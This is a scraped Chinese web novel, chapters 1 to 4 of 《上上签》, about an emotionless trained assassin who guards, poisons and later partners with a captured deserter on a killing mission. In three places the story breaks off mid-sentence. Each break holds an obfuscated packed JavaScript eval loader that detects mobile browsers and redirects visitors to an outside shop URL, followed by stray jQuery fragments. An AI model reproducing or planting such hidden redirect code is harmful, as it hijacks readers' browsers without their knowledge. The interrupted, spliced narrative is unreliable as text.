《上上签 (gb)》
1. 第 1 章
顾青衣第三次见到沈墨,是在刑堂的水牢里,受了重刑的人被拖出来的时候浑身都是血,一眼看过去身上几乎没有一块完好的地方。他原本皮相也算清俊,如今却如纸般苍白,被血黏住的发尾铺在背上,像是纠结的水藻一般将他包裹覆盖。
顾青衣伸手探了探他的鼻息,气息微弱,触手冰冷。
“人活着呢,顾大人您放心。”刑官谄笑着走上前,他扯了沈墨的头发把他拽起来:“小的知道阁主要留他性命,您看,这里外里都是皮肉伤,筋骨可都连着。”说着他就这么将沈墨提了起来,血顺着无力下垂着的四肢滴到地上。
顾青衣眯起眼睛,刑官话是这么说,可她知道将关节生生拽脱臼在摁上的手段,水牢里可不会少用。不过确实不会让他手脚残废,阁主也只说过,沈墨还能再杀人就行,哪怕缺了条胳膊也无所谓。于是她盯着沿着他指尖滴下的那一小滩血,表情并没什么变化。
许是因为太疼,原本晕过去的人缓缓睁开眼睛,墨色的眼眸黯淡无光,可他看到顾青衣第一眼便笑了。
“咳咳,新的司正……青衣姐姐……”一个月的刑罚也没把沈墨脑子打傻了,他一眼便看穿了她为何会在此。
顾青衣并不是阁中杀手,她是“傀”,这一代活着的“傀”中最听话、也是技艺最高者。他们是阁主精心培育的心腹,从小豢养,洗脑、调教、操控记忆,忠心无二绝不会背叛。顾青衣十二岁便随侍阁主左右,阁中没有人是不认识她的。
她并没有开口回应他,只是从袖中摸出一枚药丸。沈墨看着那枚药丸笑的更欢了:“‘焚心’……”也不知是牵动了哪里的伤口,暗红的血沫从他口鼻中溢出来:“这么稀罕的毒用在我身上……阁主真是费心了……”
顾青衣没答话,一手掰开他的下巴,两指捏着药丸直接塞入他喉中。
“唔……”沈墨发出含混的喉音,毒药入腹即融,灼痛像蛛网般渗入肺腑,特有的腐烂腥苦之味涌入口中,让他额角渗出细汗。
“一月向我拿一次解药。”顾青衣松开手,她知道这毒是阁中最骇人的禁锢之法,一旦发作便会腐蚀五脏六腑,直至将人化为血水,可她却也只是淡淡望着沈墨:“去小筑养好伤,我给你新任务。”
沈墨的笑容僵硬了一瞬,但也就那么一瞬,他用力呼吸,却觉得视线越来越模糊,转瞬即逝的动摇与苦闷被藏进笑意深处,他颤抖的唇瓣继续吐出撒娇似的话语:“青衣姐姐……一点都不心疼我呀……”
顾青衣微微皱眉,她知道沈墨同上一任司正也是这么笑的,看上去温驯柔软,一副很好相与的模样。可她也知道,在他决意叛逃的时候,他毫不犹豫的杀了上一任司正,他或者如今的她,都是沈墨背叛的阻碍。
有人提醒过阁主,沈墨是不会向阁主效忠的,但阁主仍然饶恕了他,顾青衣并不明白原因为何,但她不需要思考,只要服从命令就好。
在他执行任务的时候监视他,在他失败被俘的时候帮助他,还有,在他再次叛逃的时候杀掉他,就只是这些而已。
…………
视线中是白色的一片,仿佛是深冬的雪,既冷清又寂寞。娘亲就喜欢这种颜色,虽然她一次都没说过,但沈墨就是知道。那容不下任何杂质的冷,空茫一片,就像是娘亲的表情。
年幼时他总觉得是因为自己不够好,书数礼乐都比不上同龄的孩子,也不会讨爹爹欢心。爹爹总不来娘亲的屋子,娘亲也从来不笑。后宅里的下人总议论娘的出身,她并不是好人家的大小姐,来历不明,也总是面无表情,走路也没有声音。若不是诞下了两位公子,简直活脱脱跟女鬼似的,不知是怎被老爷看上的。
他听到这些话,小时候会拿石头丢下人,长大一点会皮笑肉不笑的罚他们去倒泔水。娘亲也听到过这些话,可她从来一语不发。
“娘亲……”他处罚了下人,凑过来轻轻拉她的衣袖。
可她却浑身一僵,然后不动声色的把手抽出来:“墨儿,走吧,我们去练剑。”
是的,自己的剑是娘亲教的,也只有那时,他才能隐约觉得娘亲是开心的。他学的很快,以为这样娘亲就会喜欢他了,直到他被送进黯月阁。他不再是沈大人的庶长子了,他成了阁中一名不见天日的杀手。
就连断发离家那日,娘亲也依旧是平静的,粉团子似的弟弟倒是哭成了泪人,哪怕他还太年幼,并不理解他究竟要去哪里,去做什么。
就从那一天开始,眼前的那一片白色便成了血,而他讨厌那种颜色,讨厌那些血,但是那之后,他杀了很多人啊……
“沈墨,醒了?”
他听见有人在耳边叫他,是这几日相熟的声音,冷清清的调子,他讨厌那种调子。
睁开眼睛的时候,自己躺在听风小筑,那个女人的居所同她本人一样,单调又寡淡,桌子,椅子都是漆木的,暗色看着就不亲近,且室内什么装饰都没有,冷心冷情的木偶。
也说不清是照顾还是监视,顾青衣倒是每日都会给他吃食,也会三天帮他伤口换一次药。她下手一点都不温柔,没轻没重的弄得他浑身都疼,还有那些药,他知道是毒,伤口愈合的很快,但沉疴积累会消耗寿数。
可杀手的命有什么好珍惜的呢?像他们这样的杀手鲜少能活到而立之年,但是他想活,却是不可理喻的奢望。
他不想杀人,可托她的服,他应该躺不了太久了。
“青衣姐姐。”她叫沈墨名字的时候,他总对她笑。他确实不像个杀手,阁中人很少会像他这么笑,看上去没什么恶意,甚至显得温驯。可她是见过他杀人的手腕的,三尺剑抹人脖子时,快到看不清剑影。
“换药。”顾青衣坐到床边,他如今满身的药味,阁中的伤药气味很苦,生肌融骨之效实是有毒,抹在伤口上也很疼。
一听到这话,沈墨果然嘴角撇下来,他不情不愿起身,寝被滑落亵衣下缠满绷带,顾青衣只轻看了一眼:“脱衣服。”她说,两人都看惯了赤血白骨,没什么好怜惜的,不过是皮肉伤罢了。
他们是杀手,连命都不是自己的,这身皮囊又何须在意?可沈墨并不这么想,他皱眉去解腰间的系带,嘴上却说个不停:“青衣姐姐你就不能帮帮我吗?我浑身是伤你还这么冷淡。这药可疼了,你就不能下次换一种。这屋子里什么都没有,我成日躺着好无聊啊,你就不能弄几本画本子来。”聒噪的不行。寻常人她早便去点哑穴了,可沈墨不行,阁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887563|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中人修行异法,经脉不似常人,通拐易位,是无法轻易制服的。
于是她用了最笨的法子,她伸出两指,点到他唇瓣上“噤声,好吵。”
顾青衣的指尖是冰冷的,和她人一样,还沾着些许伤药的苦味。但这突然的举动令沈墨眨了眨眼睛,她离他很近,微微蹙眉的表情凝在脸上,近日她时常露出这种表情,多半是被他烦的。哪怕她几乎不会搭理他,沈墨还是叽叽喳喳说个不停,他叫她“青衣姐姐”,听上去亲昵,可事实上顾青衣并不知自己生辰,“姐姐”一词他根本不该叫。
“但你在阁中时日长我许多,如此一来便是‘姐姐’了。”他曾这么解释,在她试图让他同别人一般,叫她“顾司正”时。
阁中人大都不喜言语,或是在石室练剑,或是在药房配毒,钻研这些才有可能在任务中活的久些,可偏偏沈墨都不喜欢。
他喜欢鸟雀,喜欢草木。他喜欢说话,喜欢对人笑,哪怕刑房出来后,许多时候他的眼睛已经笑不出了。
她好似可以理解同僚们的说法,沈墨不该活在这里。
但阁主的命令就是一切,他让他活,派她监视照顾,那么她要做的也就只有这些。
只是他真的好吵。
于是她盯着他,就这么安安静静瞪着。
说是瞪着其实并不贴切,顾青衣是傀,她是没有常人的七情六欲的,喜怒哀乐与其说是不露形色,不如说是根本没有。她会动,会说话,还喘气,但也仅仅只是这样。
还有一点,沈墨不得不承认,其实她……很好看。骨相清丽,肤容白皙,本该是极好的容貌,在外面应当不乏有人愿与之相好,可这样的女人居然是“傀”,只会听命令杀人的牵线木偶,无论见过多少个,沈墨还是会觉得有些惋惜。
沈墨不知道调教傀用的是什么法子,他也不想知道,但他知道,顾青衣是他养伤时能接触到的唯一的活人了,阁主的手腕总是如此,唯一能相处的人是绝对效忠黯月阁,他能逃的地方……就算他还能逃,也会从空无一物变成只身一人。
她嫌他动作墨迹,动手替他解带脱衣。他往后缩了缩,身体的本能反应。沈墨身上刀伤、剑伤和鞭伤交叠,有些是抓补他时弄得,有些是刑罚时留的,大多伤口结痂,但淤痕交错牵连筋骨,且多数粘连皮肉不时渗出清液,一定是会疼的,但杀人的刀不该在意这些。
“嘶……青衣姐姐,轻点……”他不止一次会同她说这句话,每每换药时把怕疼写在脸上,很不像样。
她张了张口,本来是想说“忍着”的,但是抬眼却看到他渗出细汗的脸。
“把我弄坏了的话,我还怎么执行任务。”他龇牙咧嘴的笑出来,还有精力同她贫嘴。
顾青衣冷冷垂下眼,她将吸了上药的药棉按到伤口上,能感觉到,被她抓着的手臂一瞬间僵硬了。
“你下一个月就能痊愈了。”她冷静宣告:“没痊愈也无妨,下个月的任务已经派下来了。”
头顶上方,沈墨的笑声忽然一窒,但也只是一瞬间,接着他又开始絮絮叨叨:“真是的,不要说这么可怕的话啊……但是……对了青衣姐姐,如果你真把我弄坏了的话,我是不是就不用执行任务了……”
2. 第 2 章
“我不会把你弄坏的。”顾青衣轻声说,她一手捧着他的小臂,另一只手娴熟的将换好的绷带系上。多数时候沈墨的胡话她都不去理会,但偶尔也会开口同他解释。
沈墨眨了眨眼睛,他不明白她突如其来的这句话,可还没等他出反应,只听顾青衣继续道:“阁主要你康复。”对顾青衣来说,阁主的命令就是一切。他若他若叛她就阻止,他若重伤她就给他最后一刀,只是这些而已,没有一条命令,是让她把他弄坏的。
又是阁主,沈墨笑了,他不动声色的从她手中抽出手臂。“傀”就是这样的,阁主的命令对于她而言就是一切,她连思考都不会,何来多余的心思和感情?只是这蚀骨的“忠心”让沈墨莫名的烦躁,他没忍住多问了句:“青衣姐姐,没了阁主你便不想我康复了吗?”
顾青衣的手并没有停下,她连头都没抬:“没有阁主的话,我就会被处理掉。”她说的是事实,她是现任阁主训练的“傀”,阁主换任的话他们全都会死。
明明是她自己的生死,可顾青衣却平淡的仿佛在诉说别人的事。
沈墨闭上了嘴,他看着她,看着她拆开自己腹部的绷带。那里并没有鞭伤,但左右各有一道两寸深的刀伤,伤口很深,已经伤了内部的脏器,是他的上一个司正留下的。他们明明搭档了两年,可他砍过来的时候却没有半分留情。很痛,血流的停不下来,所以沈墨在被他砍成两截之前洞穿了他的心脏。而此时此刻,新的司正正小心检查那几处深伤还有没有继续渗血。沈墨依稀记得她最擅长的武器是弓而非剑,这个距离是他更快。
顾青衣的指尖有硬茧,触碰伤口时让人觉得刺痒,沈墨忍耐着药浸入伤口的疼痛,从荒唐的杀意中清醒过来。眼前没有心的女人当然觉察不到沈墨的心思,此刻她正面无表情的盯着他的伤口,那些缝线间隙渗出的清液被她用指尖抹去,她耳后的长发落下来,半遮掩的侧脸显出几分柔软朦胧。
沈墨落在被褥上的手攥住床单,他果然还是不喜欢杀人。
他厌恶黯月阁中的一切,以兵戈为伍,视同类如草芥,盲目的服从一切“上面”的命令。沈墨害怕会有那么一天,这里让他变得不再像人。受伤时无法示弱,厌恶时无法言语,像眼前的“傀”一般逐渐不再有悲喜,这是多么可怕的一件事。他明明很喜欢温暖的东西,但如今触碰到的只有将死之人温热的鲜血。想逃才是最正常的念头吧,但现在他浑身是伤躺在这里,还被喂了每月都会发作的毒。而且即便逃出了黯月阁,他又能去哪里……
顾青衣不会理解沈墨的心思,但她注意到了他颤抖的手背:“伤口疼?”她问,语气冷淡到听不出是在关心。
沈墨轻轻吸了口气:“一直都疼啊,青衣姐姐,温柔一点……”
顾青衣平静的面孔上浮出一丝疑惑:“温柔?”她好像没注意到自己把这个词说了出来。
沈墨听见了,他先是一怔,随即扯出一个自嘲的笑。他在说什么呢?对一个“傀”说这种事,她是不可能理解何为“温柔”的,他明明比任何人都清楚。
替沈墨换好药已经过去了一个多时辰,顾青衣并不与他同房,于是出门后她将门落了锁。精铁的锁既结实又沉,同沈墨脚踝上的镣铐如出一辙,即便他现在还不能下床,活动范围也被严格限制在了床榻边。他是这三年来阁中最有天赋的杀手,所以阁主才破例留他。毒、锁链、还有人质,沈墨只能留在阁中,继续做杀人的刀。
顾青衣捧着药筐停在廊中,她的庭院里空无一物,所以很容易就能看到雨幕。下雨了,她淋湿倒没什么大不了的,可手中这些药材和纱布不能沾雨,于是她停在了廊上呆呆望着雨幕。把他抓回来的那天也是这种天气,淅淅沥沥的小雨并不很大,被雨水沾湿的衣服却比平日都沉。为了把沈墨活捉回来,阁主派出了连她在内的十二名人,从一开始就是绞杀与围猎,为了让沈墨知道他根本不可能逃跑,何况那个时候,他还带着两个累赘。
沈墨把他们称为“家人”,娘亲和弟弟。是因为他们,他才那么决绝的逃跑吗?顾青衣不理解,她没有过那种东西。
她在黯月阁十二年了,这里并不是家,但对她而言与家并没有什么区别。她没有任何入阁之前的记忆,在阁中的记忆也断断续续。
她记得第一年训练结束,同期的孩子只活下来十个,自己获得了“七”的编号。第三年出任务成功,自己得到了姓名。带她出任务的姐姐刺杀失败,被活捉,关在地牢里,她接到的命令并不是救她,而是在她扛不住刑讯之前杀了她,那个姐姐就是“顾青衣”。不知道是从哪里得来的名字,但却是她杀的第一个人。“傀”中不成文的规矩,便是继承自己杀掉的人的姓名,一无所有的傀儡只能通过杀戮获得价值,于是从那天开始她便成为了“顾青衣”。
她不是一直都被关在阁中,她知道外面是什么样,知道市井繁华,知道茶肆喧阗,可她却不知道这些好在哪里。目标倒下之后都是一样的,欢笑的表情被恐惧扭曲,身体逐渐变得比雨水还要冰冷,生与死的界限也许在她眼中非常模糊吧,可这不重要,因为她是“傀”。
沈墨方才说,想让她“温柔”一点,她不懂那是什么意思。她没问,这件事她不需要知道。
…………
不管愿意或是不愿意,沈墨总在一点点好起来,一月之期刚过,他便能下床行走了。虽然踉跄着,走两步便浑身像是要裂开一般,但他不愿躺着,甚至有时进门,顾青衣会看见沈墨坐在窗台上。屋内窗也是上了锁的,他看不见外头,便背靠着着窗柩,将脚上的镣铐被他晃得叮铃作响。
顾青衣进来的时候,他望着她挑了挑眉。
今日她来的时间同往常不同,而且她手中拿着的也并非药筐,沈墨一眼就看出来了,她手中拿着剑匣。
“阁主让我把它给你。”她走到他身边递上剑,青灰色的剑鞘上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887564|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有任何装饰,只在剑柄系着一块淡青色玉佩,不是什么上品,时日久远,早已被磨损的黯淡无光。
沈墨并没有立刻接过,他看着那柄剑,然后极轻的笑了一下。他的上一把剑在逃跑时折断了,血沾满剑刃,挥舞它都觉得沉,但是他并没有脱手,直到被阁主亲自折断,连同他握剑的手指一起,而现在他又赐给了他一把新的。
“阁主真是照顾我……”他苦涩低语,然后伸手握住了剑柄。
比原来的那柄要轻,握住的时候沈墨便知道了。与原来那柄同样的长度,三尺三寸,柄缠着密实的深青丝绳,入手触感妥帖。只这一瞬沈墨便有了想要挥舞的冲动,他本就是极擅剑的,最初是为了讨娘欢心,为了让爹爹多看自己一眼,后来是为了在这个吃人的魔窟中活命。
沈墨闭上眼睛,“铿——”一声清越的微鸣,他拔剑出鞘。
呵,果然是一柄极趁手的剑。沈墨翻转手腕挽了个剑花。
剑身并非雪亮,而是呈现出一种幽邃青的灰色,像是雨前最沉郁的天青。光线落在其上并不反射寒芒,而是仿佛被吸收一般,只在锋刃处流淌着一层水波般内敛的幽光。靠近剑格处,并没有任何篆文告诉他这柄剑的名字,杀手剑都是这样,不能于江湖留名,甚至难见于天光,就好像他往后的路,注定只有黑暗常伴。
“这柄剑叫‘非雨’,是你娘亲原来的剑。”顾青衣的声音不合时宜的从旁响起,她依旧冷淡,说出的话却似惊雷。
沈墨险些将剑脱手,娘亲的剑?他猛的看向顾青衣,却对上她漆黑的眸子。她看着他,像是在观察,又像是在窥探,她在替阁主监视他的反应。
沈墨用力呼吸,他要将所有的疑惑、急切、不安全都藏到笑容之下:“青衣姐姐,替沈墨谢谢阁主大恩罢。”他笑道,他的眼睛并没有在笑,但“傀”又怎么会觉察到这一点呢?
是的,她什么都不懂,她只是将剑交给他,然后向他传达阁主的命令:“阁主要你尽快恢复状态。”
他不能问,她也不会告诉他任何事,即便他满心想知道娘亲现下如何。
阁主把“非雨”赐给他的用意还不明显吗?他和娘亲都一样,生时只能是黯月阁的人,不可能逃离宿命。
沈墨最开始并不知道,他带着最亲近的人逃亡,是一件毫无意义的事。这么多年了,他都不知道娘亲是黯月阁中的“傀”。
是的,他的娘亲和顾青衣有着一样的身份。二十年前因为刺杀失败,被爹爹俘虏,被他作为契机同黯月阁建立联系,又作为交易的一部分,成为了他的妾室。从一开始就不可能有什么恩爱、和睦、相敬如宾。一切都只是算计,从一开始他所希冀的“家”就哪里都不存在。沈家与黯月阁的消息经由娘亲传递,二十年之期既过,爹娘便向黯月阁交上了自己。
既然如此为何要生下他和弟弟呢?可惜这些话在他问出口之前,娘亲就已经回到阁主身边了。
3. 第 3 章
一整日他都抓着那柄剑,但除此之外没什么与平时不同的地方,他不多问,不吵闹,更无半分要逃的迹象。起码在顾青衣看来一切如此,她如实向阁主禀报了:沈墨很安分,她看不出他有任何叛逃的心思。
阁主对此大笑:“傀在这种时候确实不够方便。”他说,言语中未对她有斥责之意,却问了她另一个问题:“青衣你说说,这解药本座要不要给他。”他指尖一挑,拈起案桌上的青玉瓷瓶,在掌心漫不经心地把玩,瓶中装的是“焚心”的解药。
顾青衣微微一怔,阁主的决断何时需要过问一件兵器?
“疑惑的表情?”阁主饶有兴致的审视她。
顾青衣眨了眨眼睛,她确实不解阁主为何问她,但她知道该如何回答。她恭顺的跪下:“青衣不需要问,只需要听从阁主的命令,沈墨的性命但凭您决断。”她的表情变了吗?她并不清楚,但她的目光不由自主追随着阁主的指尖。只要阁主稍稍催动内力,他便能将解药化为齑粉,连同沈墨的生机一起。
“是了,你本不需要问。”阁主轻笑,他将药瓶抛给顾青衣;“本座陪他玩玩,十年难遇的一把利刃,轻易折了未免有些可惜。”
走出大殿的时候,那枚解药被顾青衣揣在怀中。
阁主说,她的表情变了。
顾青衣伸手摸了摸自己的脸。作为“傀”的她是没有七情六欲的,但那时候,她并不知道该如何回答阁主的问题。无论是“要”或是“不要”……
奇怪,明明对顾青衣来说,杀人是如吃饭喝水般容易的事,可为何在那个时候,她没能立刻回答阁主的问题?沈墨的性命就在她手中,这种感觉似乎让她有哪里觉得异样。顾青衣看了看自己的掌心,其中空无一物,只有雨水滴落留下水痕。
她不知道那个问题的答案,但她知道这两日雨下得愈发大了,而沈墨的毒也快发作了。
…………
冷……
好冷……
从今晨开始便是这种感觉,“焚心”发作的前兆啊,沈墨苦笑。
毒发的第一重是寒意。这不是寻常的冷,而是仿佛有无数根冰针自骨髓深处迸发,刺穿血肉。他和衣抱剑躺下,用被褥把自己包裹起来,然而这没有用。他的手足细细的发抖,牙关也不受控制的磕碰,发出细碎的“咯咯”声。他想运功抵御,内力却像是被冻结,寒气从丹田逸散出来,渗入五脏六腑。窗外还下着雨,一切都是那么让人厌恶,沈墨握紧手中的剑,可铁铸的杀人利器,又怎能给他丝毫温暖,他只是徒劳的握住它,剑柄的横纹嵌入掌心。
娘亲舞剑时总与平日不同,虽是神情寡淡,但一招一式总透着凌厉与锋芒,小时候他会趴在回廊的花窗上看,长大一些他同娘亲一起练剑,便是弟弟趴在花窗上看。那时候,他从没想过剑是用来杀人的利器,他只是觉得学剑的话,娘亲就愿意多些时间和他在一起。
沈墨艰难的呼吸,随着“焚心”发作,他的视线逐渐开始模糊了。
他把娘亲的剑学到了八成,然后就被送了进来。现在想来,这场交易怕是从他出生时便已经定下了。明明是长子,爹却几乎不会来小筑看望,娘亲除了教导剑术,也不会同他有多余的交谈。一开始就是弃子,明明已经有了那么多端倪,却是年幼的他太笨,从来都没有发现。
而且那个时候,他还有沈砚。那个比他小五岁的弟弟,未足月而生产,自幼体弱多病,不能习武。他稍微吹些冷风便会染病,就连学会说话也比同龄的孩子慢,但这不妨碍他向跟小尾巴似的,每天跟在他身后。
“哇!娘亲和兄长都好厉害!”天真无邪的笑容让人欢喜,小小的手抓住他的衣摆。他偷看他们练剑总会被发现,他怕娘亲不悦,揪着沈墨的衣摆躲到他身后……
沈墨痛苦的睁开眼睛,够了,为什么要想起这些呢?他眉宇间露出痛苦的神色,却不是因为“焚心”发作。
他讨厌下雨,可雨声却越来越大了。模糊的视线中,他不由自主的向着眼前缥缈的幻象伸出手,然而弟弟面孔却总也触碰不到。
怎么可能触碰到呢?他已经死了啊,就死在他怀中。
“兄长……”
“兄长!”
“兄长……我看不见你在哪里……”
“兄长……娘亲还在等我们……”
沈砚满身是血,沈墨按住他心口的那处剑伤,血却仍旧汩汩涌出,他没有任何办法。雨水淋湿了他们,弟弟的身体在他怀中越来越冷,直到没了呼吸,雨和血把他浸透……
沈墨不知道为什么,他明明没有去找过他们,叛逃之后他一直在躲藏,他甚至不敢主动打听他们的消息,弟弟和娘亲还是被送到了他眼前。先是一段头发,然后是一截小指,他去救他们,哪怕明知是陷阱。可他最终谁也没能救下,那些娴熟的杀人的技巧救不活任何一个人,他就只能剥夺他人性命,他认识的、他不认识的。
一切都是幻觉,他受过训练,连沉溺于幻觉都不被允许,无论是噩梦还是美梦。沈墨心知自己被梦魇住了,可他却睁不开眼睛。
窗外雨声灌入耳中,眼前的场景迅速扭曲、变形,弟弟死去的那日,他只记得漫天的血,他不记得自己杀了多少人,尖叫和残肢混在雨幕中,他什么都看不清了。无数人的血沾满沈墨衣襟,沉重、湿冷,让他觉得每一次呼吸都无比沉重。
“娘亲……你在哪里?”她还活着,她在哪里?弟弟已经不在了,如果自己还不能保全她的话……
顾青衣推门进来的时候,沈墨已经毒发了,还未到危及性命的时候,只是寒气而已。她走近他,面色惨白的人正蜷缩在被褥里,他看上去不太清醒了,血脉中的寒毒令他的吐息变成白雾,就连发尾也浮出不合季节的细碎冰晶。
叫醒他,然后把解药给他就行了。顾青衣垂下眼,她从从怀中掏出解药,瓷瓶被她捂了一路,摸上去比他都要暖些。
“沈墨,醒醒。”她拍了拍他的脸,力道太轻,人没有反应,她轻轻皱眉。
训练有素的杀手不该这么迟钝,“焚心”才刚毒发他便不省人事,实在是枉顾在阁中受到的诸般训练与教导。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887565|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她复又抬起手,加了些力道,可还未触碰到他,沈墨便睁开了眼睛。虽然看上去是醒了,可他望着她的眼神却是空茫,好似并没有在看她。
“好冷……”他轻声嗫嚅着,平日里的戏谑全都消失不见了。
顾青衣把药倒了出来递到他面前:“解药。”
唯一能够保他性命的东西就在眼前,可沈墨却对此无动于衷,他没听到她的话,只是抱着剑向她一点点挪过来,他先是小心翼翼的用额头蹭了蹭她的手,在感受到皮肤的温度后缓缓眨了一下眼睛:“……娘亲?”
他在胡乱叫些什么呢,她知道沈墨的娘亲如今在狩天崖冰狱中,没有楼主授意谁都不能见。
顾青衣用手在他面前晃了晃,他的眼神并没有随她的手动,他看不见她。
顾青衣拧眉,她可以把解药塞进去,就像喂给他毒药时一样,她正准备这么做,可是触碰到沈墨的时候,才发现他真的很冰冷,寒毒入侵肺腑,整个人摸上去一点儿活人的温度都没有。
“沈墨……”顾青衣叫了一声他的名字。
沈墨循着声音又往她身前凑近了些,只是他似乎听出了她的声音与记忆中的不同,脸上那些希冀逐渐化为灰败的失落:“不是……娘亲吗?”
顾青衣没回答她,她只是把解药递到他唇边:“‘焚心’发作了,吃下解药就好了。”
沈墨犹豫着凑过来,嘴唇无意中触碰到她的指尖,触感很冰。他看不见她,认不出她,但循着想要靠近温暖的本能,犹豫着按她说的去做。
很苦的药,想要吐出来,但是她捏住了他的下巴:“咽下去。”她说,冰冷的声音听上去像是在命令。
真的很苦……但是听话的话,会有奖励吗?过去娘亲确实吝啬对他笑,但是如果好好练剑的话,也不是不可以和娘亲、弟弟一起在院子里吃茶点。
沈墨将药咽了下去,然后朝着温暖的方向笑了一下。
他总把笑容挂在脸上,顾青衣盯着他的脸,他笑得比阁主任何一个杀手都多,为什么轻而易举就能露出这样的表情呢?她不理解。只是此刻她能隐约感觉到,他每一次向她展现的笑容都有些许不同。
“很冷吗?”顾青衣问。
“嗯……”沈墨点了点头,他的脸颊几乎贴上她的手,似乎想要贴近却又不敢继续。
顾青衣看着他手中的剑若有所思,她并没有像往常一般,处理好他就立刻离开。她用手贴上沈墨的后心口,一股内力像是暖流,沁入他的心脉中,随着心跳在身体之中扩散开来。
她只渡了一口,他便立刻清醒了些:“……青衣……”他睁大了眼睛,露出震惊的表情,这一次沈墨忘了叫她“青衣姐姐”,他也不似平日那般轻佻的调笑她,反倒手脚并用的往后缩,想从她身边退开。
顾青衣并不在意他的举动,她只是淡淡道:“目标已经定下了,下月初七杀御史台崔大人,我同你一起。”
她说完便头也不回的转身离开了房间。精铁锁扣“咔哒”一声落下,她又把他一个人关在了里面。
4. 第 4 章
今年的雨水发了邪似的,连着下了一月也没有要停的迹象,沈墨最讨厌这天气,水汽沾湿衣服,结痂的伤口一阵阵的刺痒。
“哪位专折腾人的大人,非要崔明仲这月死,就不能天晴了在再杀人吗?”崔大人这月外出巡视地方不在京城,便给了仇家杀他的机会,倒也未必是仇家,这朝堂上的腌臜事谁说的清呢,总之某位大人给了阁主黄金百两,要求绝不能让崔大人活着回京。那就在他靠近京城时在动手不好吗?就近,方便,不用出远门,何必要追着他跑到绵竹县这偏僻的荒郊野岭,那边刚过的洪灾,死的人可不少哩。
“莫问。”顾青衣走在他身后,临近绵竹两人便舍了马改步行,骑马、佩剑去满是灾民的地界太显眼了。沈墨的嘴自然是一路都不带停的,什么“青衣姐姐我累了。”“伤口疼我们休息一阵吧。”“你看那边有茶寮,我们去喝口水吧。”顾青衣基本都无视了,她一路头也不回往前走,那人吵归吵,却一步都没落后过。他伤病刚愈,本是该休息的,可阁主的命令就是一切。
其实在回程路上下手是最方便的,可以伪装成劫道的悍匪,但崔明仲同旁的人不同,他受圣命外出巡视,沿路都是有州郡兵保护的,因此反是混乱的灾区更好下手,他们的赶在他离开之前。
崔明仲本人就是个文官,没什么拳脚工夫,并不难以对付,但他有一养子,据说也是过去外出巡视地方时,从闹蝗灾的地方捡来的孩子,对他忠心无二,是他贴身的护卫,这就让暗杀变得稍微麻烦了一点。
“那位崔大官人,看上去是个好人啊……”她身后沈墨又再絮絮叨叨了,顾青衣微微蹙眉。
崔明仲……“好人”?他确实是个父母官,鲜少在京,时长往地方巡视,去的还都是些同僚们不愿前往的灾地。顾青衣知道这个词“父母官”好像是有人这么称呼他,但是对她而言这些都没什么意义,“好人”和“坏人”,黯月阁从不区别这些,只要有人为了买他的性命付得起百两金,他们就会为他杀人。
人命是如此脆弱的东西,他和她的都可以轻易剥夺。
沈墨走在后头,无论他说什么,前面的女人始终没什么反应。“傀”就是这样的,不是吗?他很清楚,是非善恶于他们而言并不重要,阁主命令才是他们唯一值得服从的。他必须把崔明仲杀掉,与他是什么样的人无关,他已经快三个月没有杀过人了,那种刀划过颈项,血沾了满手的黏腻触感让他浑身都冷。可无论他如何不情愿,他都必须这么做、只能这么做。
沈墨知道,他根本无路可选,而他这一路不停说话,只是因为路太远了,他不想一个人而已……
…………
临近绵竹县,两人看到了难民,奇怪的是那些面黄肌瘦的人并非往城外逃,反倒是堆在城门外,拼了命往里头挤。
“这可稀奇了。”沈墨嘴里叼着根不知从哪顺来的草杆,在离人群稍些的地方停下脚步。“青衣姐姐,这下走正门可就方便了。”
两人是没有身份的人,入城自然不能循正路,以往都是天黑之后总有办法,今日却恰好能够混进城。
顾青衣从斗笠下抬起眼睛,沈墨说的没错,他们确实可以随流民一起混进城,现下守门已经开了城门,倒是比夜半翻墙省事许多。只是……她看了沈墨一眼。
“我绝对不是想趁乱逃跑。”她开没开口,沈墨便举手保证:“我对阁主忠心一片。”这是哪里来的鬼话?他却说的脸不红心不跳。
顾青衣又忘城门口看了一眼,她也不该担心沈墨会跑不是吗?他身上有“焚心”:“我们……”
“我们装做姐弟就好了啊,青衣姐姐。”沈墨朝她一笑,露出两颗虎牙。
虚假的身份倒是常有,他们两人半路走来身上也是被雨淋透,浑身沾着泥点子,不会轻易被人觉出端倪。“走吧。”顾青衣说,然后伸手拉住他。
